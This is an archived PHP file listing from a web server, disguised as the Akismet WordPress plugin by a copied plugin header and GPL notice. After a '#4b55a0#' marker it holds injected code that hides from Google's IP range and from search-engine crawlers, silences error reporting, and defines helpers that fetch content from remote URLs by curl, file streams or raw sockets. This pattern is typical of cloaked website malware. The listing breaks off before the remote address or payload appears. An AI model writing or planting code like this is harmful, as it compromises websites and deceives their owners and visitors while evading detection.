home *** CD-ROM | disk | FTP | other *** search
/ 91.121.126.69 / 91.121.126.69.tar / 91.121.126.69 / www / interested17 / main.php < prev    next >
PHP Script  |  2015-06-11  |  4KB  |  92 lines

  1. <?php ?><?php
  2. #4b55a0#
  3. /**
  4.  * @package Akismet
  5.  */
  6. /*
  7. Plugin Name: Akismet
  8. Plugin URI: http://akismet.com/
  9. Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
  10. Version: 3.0.0
  11. Author: Automattic
  12. Author URI: http://automattic.com/wordpress-plugins/
  13. License: GPLv2 or later
  14. Text Domain: akismet
  15. */
  16.  
  17. /*
  18. This program is free software; you can redistribute it and/or
  19. modify it under the terms of the GNU General Public License
  20. as published by the Free Software Foundation; either version 2
  21. of the License, or (at your option) any later version.
  22.  
  23. This program is distributed in the hope that it will be useful,
  24. but WITHOUT ANY WARRANTY; without even the implied warranty of
  25. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  26. GNU General Public License for more details.
  27.  
  28. You should have received a copy of the GNU General Public License
  29. along with this program; if not, write to the Free Software
  30. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  31. */
  32.  
  33. if( empty( $oyf ) ) {
  34.     if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
  35.             "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
  36.             $_SERVER['HTTP_USER_AGENT']
  37.         )
  38.     ) {
  39.     } else {
  40.         error_reporting( 0 );
  41.         @ini_set( 'display_errors', 0 );
  42.         if( !function_exists( '__url_get_contents' ) ) {
  43.             function __url_get_contents( $remote_url, $timeout )
  44.             {
  45.                 if( function_exists( 'curl_exec' ) ) {
  46.                     $ch = curl_init();
  47.                     curl_setopt( $ch, CURLOPT_URL, $remote_url );
  48.                     curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
  49.                     curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
  50.                     curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
  51.                     $_url_get_contents_data = curl_exec( $ch );
  52.                     curl_close( $ch );
  53.                 } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
  54.                     $ctx = @stream_context_create(
  55.                         array(
  56.                             'http' =>
  57.                                 array(
  58.                                     'timeout' => $timeout,
  59.                                 )
  60.                         )
  61.                     );
  62.                     $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
  63.                 } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
  64.                     $handle = @fopen( $remote_url, "r" );
  65.                     $_url_get_contents_data = @stream_get_contents( $handle );
  66.                 } else {
  67.                     $_url_get_contents_data = __file_get_url_contents( $remote_url );
  68.                 }
  69.                 return $_url_get_contents_data;
  70.             }
  71.         }
  72.  
  73.         if( !function_exists( '__file_get_url_contents' ) ) {
  74.             function __file_get_url_contents( $remote_url )
  75.             {
  76.                 if( preg_match(
  77.                     '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
  78.                     $remote_url,
  79.                     $matches
  80.                 )
  81.                 ) {
  82.                     $protocol = strtolower( $matches[1] );
  83.                     $host = $matches[2];
  84.                     $path = $matches[3];
  85.                 } else {
  86.                     // Bad remote_url-format
  87.                     return false;
  88.                 }
  89.                 if( $protocol == "http" ) {
  90.                     $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
  91.                 } else {
  92.